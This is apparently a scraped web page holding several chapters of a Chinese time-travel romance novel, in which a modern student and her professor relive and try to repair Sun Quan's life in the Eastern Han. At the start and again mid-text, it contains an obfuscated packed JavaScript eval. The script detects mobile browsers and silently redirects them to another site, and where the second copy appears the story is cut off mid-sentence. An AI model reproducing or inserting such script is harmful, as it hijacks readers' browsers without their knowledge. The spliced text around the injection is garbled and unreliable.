;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859894|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖。 孙权眼神焕发出最后的神采,向虚空伸出手。 “五次了……还是没拿下……” 他的手无力垂下,最后一丝光从他眼中熄灭,声音低不可闻 “对不起……没能履行承诺,娶你为妻……” 桃花幻影消散。灯光全暗。 帷幕缓缓合拢。没有掌声,一片沉重的寂静。 许久,灯光亮起,观众才像从一场漫长的梦中惊醒,掌声零落而沉重,更多人则是红着眼眶,沉浸在那种巨大的、贯穿一生的遗憾中。 落下的大幕上映出寥寥数语,总结了故事中的孙权,辉煌而偏执的一生。 “十八岁那年,他遇见一位姑娘,曾许诺此生非她不娶。后来姑娘为护江东,北上许都为质。孙权为履此诺,一生五攻合肥,至死未成。 因无姻亲联结,江东士族渐次离心,孙吴势弱,终难与魏蜀抗衡。吴国仅存六年,随他逝去,悄然湮没于青史。 他终身未娶,无子无嗣,独走完这一生。” 步一乔望着那几行字,眼泪无声淌下,怎么都止不住。 身旁的人从怀中取出手帕,轻轻替她擦拭。 “这就是你不愿亲口告诉我的原因吗……” 步一乔的视线模糊,却不敢看他。 “……我一直以为,我能改变什么。”她声音很轻,像在对自己说,又像在问他。 幕布上的字迹渐渐淡去,剧场顶灯逐排亮起,周围陆续响起窸窸窣窣的离座声、低语声。可她还坐在那里,一动不动。 “史书上说他五攻合肥,不是为了北伐大业吗……怎么会是因为我……明明可以让他按历史娶那些夫人的……他是不是……疯了……” 身旁的人沉默片刻,指腹拂过她湿漉漉的眼角。 “或许对他而言,有些承诺比江山更重。” 他抬起手,温热的掌心轻轻覆上了步一乔的双眼。 “如果这只是一场梦呢?从你问我穿越方法的那天起,所有的一切,都只是你的一场梦。你愿意醒来吗?” “我……” “如果你从未去过东汉,从未真正认识他,他只是书页里一个千年前的名字,一切都回到原点……你愿意吗?” 步一乔咬住颤抖的唇,发不出声音。 吴朔心疼,正想将手收回,她却忽然紧握住了他的手腕,让那只手始终覆在自己的眼睛上。 “对不起……就保持这样一会儿……好吗?” 吴朔沉默了一会儿,低声问:“为什么?” 她用沙哑的嗓音,说出心底话: “因为教授掌心的气息……和他很像……让我借着再哭一会儿吧……” “……好。” 他没有移开手,只是将另一只手臂也环了上来,将她整个人轻轻拢入怀中,让她更深地嗅着自己的味道。 “你知道吗,史书里缺了一笔。” “什么……” “孙权在赤壁之战大胜后,曾向曹操索要了一样东西。一件在合肥城外寻到的,沾满血与尘的旧衣。” 步一乔的呼吸窒住。 “他照着旧物做了件新的,珍藏在身边,直至完成他此生最重要的使命。而后带着那件衣裳,开启另一段故事,在那姑娘再次回到过去时,亲手赠予她。” “是教授在教室……给我的那件……” “嗯。” 步一乔闭上眼,却突然轻笑一声。 “真是……无药可救。” “问题,你还没回答我。”吴朔轻声问。 “什么问题?” “舞台剧开始前问的,你还会回去吗?” 这一次,步一乔没有立刻回答。她从他怀中退开些许,瞥见收拾会场的阿姨正朝这边走来,便伸手牵起吴朔的手,站了起来。 “走吧。” * 她牵着吴朔的手,穿过陆续散场的人影,朝剧场侧门走去。步一乔在台阶前停下,没有回头,只是望着远处街灯晕开的光晕。 “我大概不适合谈恋爱吧。”她轻笑,却是苦涩,“从伯符到孙权,这一路走来,半数迷蒙,连自己的都内心都看不清。遇见步练师,甚至想将他拱手奉还。” 吴朔的手微微收紧,却没有说话,只是静静地等她继续。 “我无数次想问他,为什么这么执着于我。我不明白,因为他这么做没有理由,找不出理由。一见钟情?世上哪有一见钟情。更何况,我给他的第一面并不好。” 建安五年的孙府初遇,强吻的人又给他一耳光。 七岁的庐江初遇,气得沉稳的孙仲谋没了耐心。 建安七年山野初遇,逼人就地行男欢女爱之事。 “我几乎没有优点。反复无常,犹豫不决。没步练师温柔,也没步练师好看。嫉妒心强,迫使他孤独余生。他不该喜欢我,他没理由喜欢我。” 所以,到底为什么? 步一乔转头望向身旁注视着自己的男人。 “孙权……他喜欢骗我。我怀疑,在我记忆之外,还有一段故事。教授觉得会是什么?我总觉得……与死亡和复生有关。” 83. 浮梁梦(现) “想不到孙权还是个恋爱脑啊。” “是挺恋爱脑的,但孙策托付的事,他也确实都做到了。可惜啊,但凡有个子嗣,但凡孙家多几个人活久些,也不至于直接灭国。” “这家人好像都走得早。周瑜也是,鲁肃也是,就剩孙权一个人活到五十四岁。” “乱世嘛,都这样。” 马路边,等红灯的间隙,身旁两位刚走出剧场的观众正低声交谈。 步一乔与吴朔静立一旁,将这些话一字不漏地听进耳中。 在原本的历史里,孙权活到了七十一岁。而这一次,他仅在四十八岁称帝,建国六年,便随王朝一同湮灭。 无子无嗣,偌大的孙家,终只剩他一人。 “刚才我的话,教授有什么想说的吗?”步一乔忽然问。 孙权……他喜欢骗我。我怀疑,在我记忆之外,还有一段故事。教授觉得会是什么?我总觉得……与死亡和复生有关。 吴朔始终目视前方,说:“我不知道。” “这样啊。” 走到地铁口,路边停着吴朔的车。步一乔从书包里取出地铁卡。 “教授路上小心,我今晚回宿舍住。” 吴朔没有阻止,只是站在原地,望着她转身,一步一步走下楼梯,许久未动。 夜风微凉,带着几分萧瑟。吴朔看着她的身影消失在入口处,片刻后又重新出现,快步朝他走来。 步一乔走到他面前,毫无征兆地抬手,朝他腹部不轻不重地捶了一拳。力道并不大,吴朔身形未动。 “骗子。” “谁?” “你!上次带我去见的余慕周,到底是什么人?敢说周瑜你就死定了!” 吴朔沉默半晌,道:“一位擅长声带模仿的演员。” 步一乔气极反笑,“怎么做到的?为什么这么做?我真的……一点也想不明白。” “因为……变数。” “什么变数?” “你。” 步一乔疑惑。 吴朔道:“因为你的每一次涉足,每一个看似微小的举动,都会在重要的历史节点上牵扯出新的变数。我……他,不得不一次次想尽办法,去修正这些偏离。” “办法就是算计我吗!从一开始就算准了我会替小乔北上!” “这叫信任。他相信你能坚持下去,等他攻下合肥,占领北方,接你回家。”吴朔沉下眸子,“他还是太天真。” 步一乔的呼吸停了一瞬。夜风穿过街巷,卷起她额前微乱的碎发。 “太天真……”她重复着,“你是说他,还是说你?” 吴朔没有立刻回答。他的目光落在她脸上,半晌才开口。 “都是。” 步一乔笑了,眼眶却更红了。 “这次呢?你也算准了我的选择吗?” 吴朔不语,但眼睛已将答案明了。他小心地牵住步一乔的手,上前一步,试探着拥住她。 步一乔没有挣开,任由他抱着。 “怎么做到的?他就这么了解我,算得明明白白?” “不是算。是等。”吴朔的下颌轻轻抵在她发顶,“他用了很多年的时间,去了解、去记住你。他不是在算计,他是在赌。赌你会心软,赌你会回头,赌你……终究放不下。” 步一乔闭上眼睛,泪水无声地浸湿了他肩头的衣料。 “我又猜对了。在我记忆之外,还有一段故事。” 她深吸一口气,像是要攒足勇气。 “孙权第一次死在我怀中时说过一句话,‘下次让我死在你前面吧,但是我想死在你怀里’,一直我没明白这话的意思,以为是人死之前的执念。经历到现在,我的思维也发散得厉害。有‘下次’,就有‘上次’,怎么,难道我曾经……死在他面前过?” 吴朔没有回答,拥着她的手臂收紧。 “你总是比我想象的更敏锐。但,我不知道。” 步一乔从他怀中微微退开,抬眼看他。决绝的样子是不可能告诉她任何事情,毕竟,若是真的,那是一段心如刀绞的回忆。 “嗯,我知道了。谢谢教授,我回学校了。” 吴朔别开视线,望向远处沉入黑暗的街巷尽头。 “抱歉。” 步一乔听见了,但脚步不停。 * 寂静的宿舍里,两个人的行李大多已搬去校外,房间显得空荡而冷清。 步一乔平躺在床铺上,盯着天花板,思绪纷乱如麻。 “第一次踏足地牢,棺盖是掀开的。定是教授上一次穿越打开的。他次次都知道我何时回来,在地牢外等我,在邯郸等我……那下一次会发生什么,他是不是也已经猜到了?” 话剧的历史顾问是他,落幕时那段话也出自他手。那字里行间,是否藏着想要传递给她的讯息? 【十八岁那年,他遇见一位姑娘,曾许诺此生非她不娶。后来姑娘为护江东,北上许都为质。孙权为履此诺,一生五攻合肥,至死未成。 因无姻亲联结,江东士族渐次离心,孙吴势弱,终难与魏蜀抗衡。吴国仅存六年,随他逝去,悄然湮没于青史。 他终身未娶,无子无嗣,独走完这一生。】 步一乔翻身下床,拧亮台灯,铺开纸笔,将那段话一字一句地誊写下来,反复默读。 “因无姻亲联结,江东士族渐次离心,孙吴势弱,终难与魏蜀抗衡……是这句吧,他想想我传递的重点。” 孙权一生众多夫人,皆是沾了政治联姻。从谢夫人开始,再到徐夫人,步练师也不例外。 徐媛占卜那夜也曾说:成就霸业,虽并非全然与姻亲相关,但不得不有。男人三妻四妾,为的不止是自己欢愉,还有千秋万代。 “不只是靠姻亲,但不得不有……徐夫人真是精通占卜啊。” 步一乔的目光停在“吴国仅存六年”这行字上。 六年……比原本历史里孙吴的存在,短了太多。 在宗族与门阀盘根错节的江东,君主的婚姻从来不只是私事。它是权柄的延伸,是利益的纽带,是维系庞大世家联盟最直接的血缘锁扣。 而孙权,却亲手斩断了这条锁链。 “他不娶,无子……士族离心,孙吴势弱……”步一乔喃喃自语,忽然感到一阵寒意爬上脊背。 难道接下来的安排,是要自己再次回去,去“监督”孙权—— “联姻吗?!” * 这夜,步一乔做了一个梦。 一个格外清晰、离奇的梦。 她穿着像是侍女的衣裙,安静地立在一位姑娘身侧,低头研着墨。从她的视角望过去,只能看见姑娘的侧影,轮廓有些模糊,却隐约觉得……似曾相识。 这时,门外匆匆跑进来一个侍女。 “小姐!方才孙氏那边遣人来,说二公子想见您。车马以外门外等候。” “孙氏的二公子?孙仲谋吗?” “正是!” 姑娘搁下笔起身,伸出纤细白皙的手道:“吴郡路远,一乔陪我去吧。” 步一乔恍惚了一瞬,当即搀扶住,垂首应道:“是!” 府门外,青帷马车静静停着。姑娘在步一乔的搀扶下上了车,车内熏着淡淡的兰草香,宁静而安神。 车帘垂下,隔绝了外界的视线。车轮碾过石板路,发出规律的辘辘声。 步一乔跪坐在姑娘侧后方,无论怎么盯就是瞧不见正面。 她到底是谁? 姑娘一直安静地望着窗外流逝的街景,侧脸在偶尔透入的车帘缝隙光线下,显得沉静而美丽。 良久,她才轻声开口:“一乔,你怕吗?” 步一乔愣了一下,抬眼看向姑娘的背影:“小姐……何出此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“自见小姐第一面,便觉似曾相识,心绪难平。我欲纳小姐为侧室,常伴左右。不知小姐……意下如何?” 门外的步一乔,指甲逐渐掐入掌心。 这是真实的历史……历史上孙权和步练师初次相见、一见倾心、纳其为妾的场景…… 我为什么会梦见这个? 掌心的刺痛将步一乔的思绪扯回。 门内,步练师垂着眼,视线落在自己交叠的袖口上。 孙氏新定江东,正需与本地大族缔结更深的盟约。 步氏虽非顶尖豪强,却也清誉卓著。孙权的提议,是赏识,是情动,更是政治棋盘上冷静的一着。 “蒙二公子青睐,此乃步氏之幸。” 没有直接说“愿意”,但每一字,都指向了应允。这是世家女子应有的、无可指摘的回答。 步一乔知道,历史就是这样写的。步练师会成为孙权的夫人,备受宠爱,生下二女,死后追封皇后,享尽哀荣。 可此刻,她的心仍钝痛到欲哭无泪。 “好。”孙权似乎格外欣喜,“不日便遣使正式拜会令尊!我这就求母亲择良辰吉日!” 谈话似乎转向了家常与安排,步一乔却再也听不进去。她背靠着冰冷的墙壁,目光茫然地投向庭院中尚是花苞的荼蘼。 “荼蘼……四月吗?建安五年四月……” 为何会梦见这一幕?与教授传递的讯号有关吗?只有遵循原本的历史轨迹走,一切才能“圆满”。 “不可干涉重要历史节点,不可成为新的变数……” 而自己,需以旁观者的身份,见证历史走向。 “孙权,我知道该怎么做了。” 84. 燕双归(穿) 天刚亮,宿舍门一开,步一乔便冲了出去,直奔教授公寓。 被吵醒的吴朔揉着眼开门,看见门外气喘吁吁的她,还以为自己在做梦,下意识就要关上门。 “今天不是周末吗?” “我有事找您。我知道该怎么做了——昨晚,我梦见他们了。” 吴朔怔了怔:“他们?” “孙权和步练师。” 吴朔沉默片刻,将松垮的外套慢慢拢紧。 “你打算怎么做?” “重回江东,把历史引回正轨。既然他需要我陪着,我就陪到最后。哪怕史书不会记下我的名字,哪怕我只是个无关轻重的人,我也想陪着他,引导他。” 这一次,必须成功。这是最后的机会。 吴朔望着她凌乱的发梢和紧绷的神色,伸手轻轻按平她头顶一撮翘起的头发。 “别担心,我会陪着你的。” “啊?” “怎么这副表情?你不是早就猜到了吗?” 步一乔眼波微动,随即笑了:“是教授演技太差,每次都在给我递线索。” 但吴朔又蹙起眉:“可是来回穿越,你的身体……” “我现在好得很,活蹦乱跳的。” “不能大意,万一落下病根——” “不会的。”步一乔握住他的手,打断了他的话,“相信我。事不宜迟,我们现在就去地牢。” 【孙氏纪念馆,地牢】 “若是身体不适,千万不可逞强。” 步一乔点头,松开他的手,躺入棺椁。棺盖合上,黑暗侵蚀。 回到第一个重要的历史节点,也就是回到孙权迎娶发妻谢夫人之前,时间是建安五年二月。 这个时间…… “我若能见到孙策和大乔……嗯,是在两人成亲之后,不会改动什么。但在此之前,我的去见一个人。” 黑暗中,她伸手抚上冰冷的棺盖。 “带我去见他。” 棺椁深处似乎传来强烈震颤,步一乔感到四肢百骸传来撕裂般的痛楚,比以往任何一次穿越都要强烈。 她咬紧牙关,双手死死捂住嘴。在彻底失去意识前,终于听见了那个时代的雨声。 雨声滂沱,敲打着瓦片。 ……穿越结束了? 她颤抖着推开棺盖,几乎是跌爬出来,伏在棺沿剧烈喘息。涣散的目光良久才重新聚焦。 眼前是空旷的屋舍,青砖地面,木梁陈旧。雨声在这寂静的空间里被放大,回荡着潮湿而孤独的回响。 她茫然四顾。 “屋内……地牢呢?” “大雨连年,地牢早被淹了。只好在上面盖了这间屋子,安置这口棺材。” 步一乔循声望去,一位孤独的老者坐在棺材旁,对她的到来丝毫不震惊,反而淡定地回答她的问题。 她难以置信地看着老者,眼眶瞬间涌满泪水。 “孙权……?” 闻声,老者缓慢地抬头。在看到来者时,无神的眼眸中照进一束光。苍老的面容上瞬间挂上两行泪,嘴唇哆嗦着,却半晌发不出声响。 步一乔咬紧颤抖的下唇,双膝一软跪在他身旁。 “你为何……你为何在吴郡?不该在建业,在皇城吗……” “朕大限将至。最后的日子,只想回到吴郡。想在最后的日子见到你,也预感到你会来……” 他浑浊的目光缓缓扫过积灰的梁柱、斑驳的墙壁,最后落回她泪眼朦胧的脸上。 “你终于,回来了。” 步一乔再也无法抑制,伸手紧紧握住他枯槁冰凉的手,将额头抵上,泣不成声。 “孙权……对不起……说好不让你孤单的……” 窗外,建安五年的暴雨如注。 在这间被时光遗忘的旧宅里,错过此生的两个人,终于在终点重逢。 “最后一次了,我不许再耍小性子,你也一样。我们必须终结这场无休止的变数……你知道我想说什么的,对吗?” 孙权苍老的面容愁容更深。 步一乔抚摸他布满皱纹的脸庞,努力扬起笑。 “别逼我说出来啊……我是那么自私一个人,你知道我说不出口。” 酸楚如潮水淹没了心脏。孙权闭上眼,良久,极轻地颔首应下。 “朕知道。你教……我,我向来听你的,不是吗。” 步一乔哭笑不得。 “那我现在就回去。回到建安五年二月,让真正该与你邂逅的人,与你相遇。” 让命定之人相遇,历史,或许就能慢慢滑回它应有的轨道。 “那你呢?”孙权问。 “我会另一种身份,陪你在身边。”步一乔忽地轻笑,“记得吗?那年我沾了酒,耍性子说,要不我变成个文官,整日陪着你办公……你看,又被我说中了。” “……文官谋士吗?” “历史上有真实的大乔,有真实的步夫人,我不替代任何人。我就是我,一个不足以写进历史的无名小卒,仅此而已。” 她握住他颤抖的手,贴在自己冰凉的脸颊上。 “放心,我舍不得你孤身一人。哪怕做个整理书简、伺候笔墨的侍女,我也会留在你身边,陪你到白发苍苍。” “可我……”他的声音哽住。 “人只有一生。这荒唐的改写,该由我开始,也由我结束。” 她倾身,在他干裂的唇上落下轻柔一吻。 “仲谋,一会儿见。三十六年前见。” * 第二次穿越开始了。 这次的痛苦成倍席卷而来。碾磨、割裂、焚灼、血脉倒流。她喉间涌上浓腥,却咬牙咽了下去。 “撑住啊……最后一次……答应孙权走完此生……让历史回到正轨……” 步一乔的意识在剧痛中时明时灭,宛若走马灯的画面也在眼前忽闪忽闪。 这次的穿越格外漫长,仿佛永无尽头。 好痛苦……内脏……要炸裂了…… 步一乔用力敲打着棺盖,果不其然,根本无法撼动。 怎么能倒在这里!必须陪他走到最后! 她深吸一口令人作呕的、浑浊稀薄的空气,强迫自己冷静下来。绝望在此刻是奢侈,也是无用。既然自己无法从内推开,那么…… “孙权————!!!!!” 嘶喊用尽她最后的气力,声音在狭小的空间里沉闷炸开,震得耳膜嗡鸣。 余音未散,一束光刺破黑暗,逐渐扩散,直至吞没全部视野。 一只修长而有力的手,穿透刺目的光晕,精准地握住她在空中无措的手。 她几乎没有任何犹豫,用尽最后残存的力气,死死扣紧那只手。 手的主人猛地发力。 天旋地转间,她被从窒息的黑暗与束缚中彻底抽离。但紧接着,空气猛地灌入她的口鼻,十倍不止的恶心与痛苦席卷全身。剧烈的咳嗽,引发一阵阵干呕。 步一乔借着力跨出棺椁,差点踉跄摔跤。她依旧紧紧抓着那只手,仿佛松开就会重新坠入深渊。 沉静许久,模糊的视野渐渐清晰。她也顺着紧握的手,望向身旁之人。 “谢谢……” 孙权站在那里,身姿挺拔如松,紧紧握着她的手。十八岁的少年苦笑着,牵着他再次久别重逢的爱人。 “好久不见,一乔。” 步一乔努力挤出笑容,不许自己哭出来。 “你来的好慢啊,人差点挂了。” * 【建安五年,二月】 孙权给步一乔找了身府上侍女的衣裳换上,又给管事交代完一切后,正式换了身份。 “侍女大多没名字,二公子给取一个?” “一乔不好么?我喜欢你的名字,好听。” 步一乔耳根忽地发热。平生第一次有人这样直白地夸她的名字。 “……那便听二公子的。” 廊下并肩坐着,望见庭院里已透出些微春意。仍是这时辰,这地方,这两人,却换了身份,似要另起一篇故事。 “今日府中这般安静,人都去哪儿了?”步一乔晃着腿问。 孙权道:“兄长与嫂嫂出门去了,母亲去了谢氏,尚香——” “二哥!!!!” 跟呼风唤雨似的,孙尚香挽弓提箭,一路招手奔近。步一乔当即想起自己如今的身份,连忙起身下阶,垂首行礼。 “小姐。” 孙尚香目光在她身上转了两转,挑眉道:“虽是贴身侍女,可你方才坐得……是不是离二哥太近了些?” “小姐恕罪。一乔正与二公子论《九歌》篇章,一时忘形,失了分寸。” 孙权含笑接话:“尚香来得正好。上月先生还嘱你背诵《九歌》,可要一同探讨?” “二哥你故意的吧!什么九歌十歌,我打十个都不会背一个!”孙尚香抱着弓箭冷哼一声,“今日原是来寻你练射艺的!有这般打趣我。” 步一乔眼中泛起光彩,向前半步:“一乔初入府中,久闻公子与小姐箭术超群,不知可否容我开开眼界?” 孙权笑道:“尚香的箭术可是能百步穿杨的,吴郡子弟之中,能胜她的寥寥无几。” 孙尚香闻言,下巴微扬:“那是自然!走二哥,我们去校场!新来的侍女也一起来!” 三人移至靶场,孙尚香搭箭拉弓,动作行云流水,箭矢破空而出,正中五十步外的靶心。她转身将弓递给步一乔,挑眉狡黠笑道:“新来的侍女,你也试试?” “可我……” “不许找借口!试过再说!” 步一乔稍作迟疑,接过长弓。从前在校虽学过些许,毕竟生疏已久。她依着记忆侧身展臂,姿势倒也端正。 “嗖——” 箭离弦而出,稳稳钉在靶心边缘。 孙尚香抚掌笑道:“不错嘛!虽比不上我和二哥,但初学能有此等准头,实属难得。我很看好你!” 步一乔握着弓,欠身行礼:“多谢小姐赏识。” “谢我?那不如离开二哥,来做我的侍女吧!” “这……” 步一乔迟疑地望向孙尚香期待的眼神,又 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孙尚香气鼓鼓地还要争辩,却被孙权一个眼神止住。他淡淡道:“你若实在缺人,明日让子明(吕蒙)从军中选几个身手好的女卫给你。” “那怎么一样!”孙尚香跺脚,“那些女卫个个板正无趣,我就喜欢她!” “此事不必再议。”孙权转身欲走,却又顿了顿,“不过,若只是寻常无事偶尔相伴解闷,我不会阻拦。” 孙尚香眼睛一亮:“当真?” “当真。” “我就知道二哥不是那么小心眼儿的人!”孙尚香雀跃地拉住步一乔的手,“那你往后每天都陪我练习射艺、念书写字、织布绣花!” 步一乔闻言,脸上温顺的笑容微微一僵,目光下意识地飘向孙权。 果然,孙权才舒展些许的眉头又蹙了起来:“每天?” “自然!既是伴我解闷,当然是日日相处才有趣。”孙尚香理直气壮。 孙权沉默片刻,再开口:“每旬最多三日。” “五日!” “三日。” “那……四日!不能再少了!” 孙权没有立刻回答。 “可。”他终是松口,“但不可为难人陪你胡闹,上房揭瓦。” “成交!”孙尚香欢呼,转头便凑近步一乔耳边小声嘀咕,“瞧,二哥到底还是疼我。他整日那么忙,你呀,最后多半还是整日陪我。” “二公子大气,自然是宠着小姐。” “那也有本大小姐的可人之处的功劳!走吧,陪我去——” “一乔要陪我去巡街。” 孙权先一步制止孙尚香。 “二哥巡街带侍卫啊,带侍女作甚?” “侍卫声势大,恐惊扰百姓。” “那你自己去。” “方才你我约定好的什么?” 孙尚香闻言,只得悻悻松开步一乔的手,撇嘴嘟囔了一句,终是不情不愿地转身离去。 步一乔立在原地,目送孙尚香的背影消失,才轻轻舒了口气。她转身,对上孙权平静无波的目光。 “二公子当真要巡街?” 孙权差点自然而然牵上步一乔的手,又想起眼下身份不学从前,旋即转身背过手去。 “走吧。” * 两人沿街而行,步一乔落后半步跟着,不敢与孙权并肩行走。始终无人讲话,如此尴尬的情形,还是头一回。 大抵是孙权先受不住,忽地停住脚,回头盯着步一乔,面色愈发委屈。 “你走我身侧。” “可这若是被人看见……” “并无不妥。你走在后面,我看不见你。若是走丢了,我该如何是好?” 步一乔向前挪了半步,与孙权并肩而立。 街上行人渐多,孙权瞥见她的衣袖就在自己手边,便想趁着拥挤的人潮,神不知鬼不觉地牵上步一乔的手。 “仲谋!!” 悄然伸出的手刚触碰到步一乔,便被身后炸开的声音吓得缩回袖中。 两人循声回首,孙策和大乔正朝这边走来。 步一乔望着许久未见的两人,活生生、好似壁人的一对佳人,眼眶一热,往孙权身后躲了躲,快速平复心情。 “巡街呢。” “是。兄长和嫂嫂这是打算去何处儿?” 大乔温声接道:“挑几匹布料。想给绍儿和阿茹裁身新衣。” 步一乔怔住。绍儿?阿茹?这名字……莫非是他俩?! 待目送走策乔夫妻二人,步一乔当即扯了扯孙权的衣袖询问:“这又给我干哪儿来了?前几次可没有孙绍和孙茹的存在啊!” 孙权偏头思索片刻:“确实不曾有。那么,熟谙史书的一乔姑娘,可认得他们?” “岂止知道。”步一乔蹙着眉望着远处,“那可是伯符的亲子嗣!一个是未来的上虞候,一个是将来的陆逊孙夫人!” 莫非因为回到了真正的历史线,所以孙策那位史无记载的正妻,为他诞下两孩子的正妻要登场了吗?! 85. 何往留 【距离二月廿八,还有五天】 主屋内,吴夫人坐于上方,大乔与徐媛坐在下头,后边站着侍女。 步一乔是求着孙尚香带自己进来的,为看看这府上管事的夫人们。 可怜的大小姐早已百无聊赖、坐立难安,可她若起身离开,步一乔也只能跟着告退,此刻只能如木桩般伫立不动。 “尚香若是觉着无趣,自去园中玩耍便是。”吴夫人道。 孙尚香掩口打个哈欠:“这样要紧的日子,女儿也想出份力嘛。” 吴夫人无奈地摇摇头,随她去了,转而对另外两位道:“乔氏、徐氏,先前吩咐的事,办得如何了?” 大乔微微欠身:“回母亲,请柬皆已送至各府。” 徐媛接道:“会稽送来的百坛陈酿昨日已到,暂存于偏院。” 吴夫人闻言,连连颔首,面露赞许:“先去忙吧,这几日辛苦你二人。尚香也一同出去吧。” 而后,吴夫人目光落在步一乔身上。 “你留下。” 待众人行礼退出,屋内只剩下吴夫人与步一乔两人。 “什么名字?” “回老夫人,婢女名唤一乔。” “仲谋给取的?” “是。” “来府上多久了?一直在仲谋身边侍奉?” “回老夫人,入府刚满七日。”步一乔垂首应道,“家乡遭了饥荒,只我一人侥幸活命。蒙二公子垂怜,将我带回府中,赐予容身之处。” 吴夫人端起茶盏,用杯盖轻轻拨开浮叶,目光却未从她身上移开。 “抬起头来。” 步一乔依言抬首,仍保持着恭敬的仪态。 “倒是个齐整的孩子。仲谋性子沉静,不喜喧哗,身边跟着的人也该稳重妥帖才好。今日留你,是有件要紧事需你去办。” “一乔但凭吩咐。” “仲谋这孩子,行事向来以江东大局为重,从不叫人操心。只是……”吴夫人轻叹一声,将茶盏搁下,“为人母者,看得分明。他心里,其实一直惦着个姑娘,是寻常百姓家的女儿。此事莫说娶为正室,便是纳为妾室,于礼于势,皆是不成。” 步一乔眨眨眼:“老夫人莫非担心……二公子会?” “但愿只是我多虑了。这几日我心头总有些不安。你须替我时刻留意仲谋,凡是他私下接触的女子,不论是谁,是何情形,都需一一报我知晓。” “是……一乔明白。” * 步一乔依言退下,步履轻熟地朝议事厅方向走去。行至半途,却被人从身后叫住。 “我一时抽不开身,劳烦你将这包糕点送去周府,交给乔夫人。” 她回头,见大乔款步上前,将一个用细布妥帖包好的食盒递了过来。 “是。” 步一乔双手接过,温热的触感透过布料传来。应该刚出炉的糕点,送去给小乔尝尝。 她略一迟疑,终究抬眸望向那张久违的、温婉沉静的面容。 “大乔……夫人,嫁给大公子,可幸福?” 大乔忽地怔愣,随即眉开眼笑:“伯符待我极好,处处体贴,怎会不幸福?” “那就好。”步一乔轻声应道。 她捧着食盒,心中尚有万千话语,却知此刻身份悬殊,多问便是逾矩。只得敛目欠身,将那声叹息压在心底,转身朝着周府的方向行去。 行至周府门前,步一乔心中仍回荡着方才与大乔的短暂对话。那声“幸福”说得笃定,眼底的笑意也真切,可不知怎的,总有股落寞似的情绪堵着。 “万不可再干涉,无奈也罢,这就是历史。” 她定了定神,向门房说明来意,很快便被引了进去。侍女将她带到一处临水的暖阁前,禀道:“夫人,孙府有人送了点心过来。” 珠帘轻响,一位身姿袅娜的女子款步走出。 步一乔垂首奉上食盒:“乔夫人,这是大乔夫人命婢子送来的。” “有劳了。”小乔亲手接过,温言道,“姐姐总惦记着我。若是不急着回去复命,可否跟我说说,姐姐近日可还安好?” 遣走身旁的侍女,小乔引步一乔至暖阁内临窗的席垫旁坐下,亲手斟了一杯清茶推过去。 “回夫人,大乔夫人近日忙于筹备喜宴诸事,精神尚好。只是……府中上下皆为此事忙碌,大乔夫人主持内务,想来难免辛劳。” 小乔一面颔首听着,一面打开食盒。精致的糕点散着熟悉的甜香,是她自幼爱吃的枣泥酥。 “姐姐性子要强,什么事都力求周全,有时难免耗费心神。近来主公与夫君早出晚归,想必又有谋略在心。” 步一乔看着小乔平静的神情,感觉怪异,但不可明说。 直到时辰不可再耽搁,她起身告辞,小乔也只温言相送,别无他话。 仿佛步一乔当真只是孙府一名寻常侍女。 行至门边,步一乔脚步一顿,回身望去。小乔已执起绣绷,纤指捏针,垂眸继续刺着未完的纹样。 “乔夫人。” 小乔闻声抬眸,疑惑地看着她。 步一乔沉下眼帘,屈身一礼:“乔夫人照顾好身子,奴婢告退。” * 小乔把自己忘了?怎么会,从前都记得,为何这次却忘了? 步一乔一路垂首,从周府后门出,心绪纷杂缠绕,不得其解。 “又在走神。” 熟悉的嗓音从旁响起,她下意识轻道“抱歉”,随即陡然察觉异样,倏然回首。 “你——” 小乔立于身后,手中握着方才暖阁里未完工的绣帕,眉眼含笑,是她从前熟稔的模样,与方才那位端庄疏离的乔夫人判若两人。 “七日前听闻仲谋带了位姑娘入府,格外上心,我便猜到,定是你回来了。于是趁这几日绣了这方帕子,本想收完最后几针便去寻你。不想,你倒先来见我了。” 步一乔蹙眉苦笑:“我还以为……连你也将我忘了。” 小乔执起绣帕,轻轻拭了拭她的眼角,笑意温软如旧。 “怎么会。纵使整个江东都将你忘却……我也始终记得。” 步一乔攥住小乔执帕的手,轻声道:“那方才在暖阁里,你为何……是为了避嫌吗?” “你如今身份是孙府婢女,我若是与你表现得情同姐妹,难免惹来不必要的猜疑与口舌。” 两人握着手,还想着温存会儿,步一乔忽地嗅到孙府膳房飘来的炊烟,得赶紧回去干活儿。 “我该回去了。这次无法常来陪你……你记着,吃食勿要太甜腻,对孩子不好。平日行走也仔细些,当心脚下。” “孩子?”小乔微微一怔,“哪家的孩子?” “你家的。”步一乔掌心轻轻覆上她的小腹,“因为时间回溯,你忘了许多事,只记得我。可这孩子……本该是你与都督的第一个骨肉。” 上一回重返吴郡,是在建安五年冬,那是数月之后的事了。那时步一乔自己诊出身孕,小乔亦怀有孩子。可那时小乔腹中的,却非头胎。 依史书所载,周瑜与小乔成婚于建安四年末,长子周循生于建安五年十二月。十月怀胎,此时的小乔腹中,应当正怀着周循。 至于上一回究竟发生了什么……步一乔只能暗自揣测。 “那时我以为是第二胎,所以便说是女儿。直到离开庐江后才知晓,那其实是你们的第一个孩子。” 小乔听得愈发茫然:“你……在说什么?” 步一乔紧了紧握她的手,温声道:“无妨。待过几日江东那场喜宴过后,都督得了空闲,你便请个大夫来看看罢。这一胎……是位小公子。” 小乔怔然望着她,似笑非笑:“步医生,这不已经替我‘诊’明白了么?” * 从后门溜回孙府,步一乔冲进厨房,接过唯一会的添柴加火的工作。 主管膳房的是一对中年夫妻,自 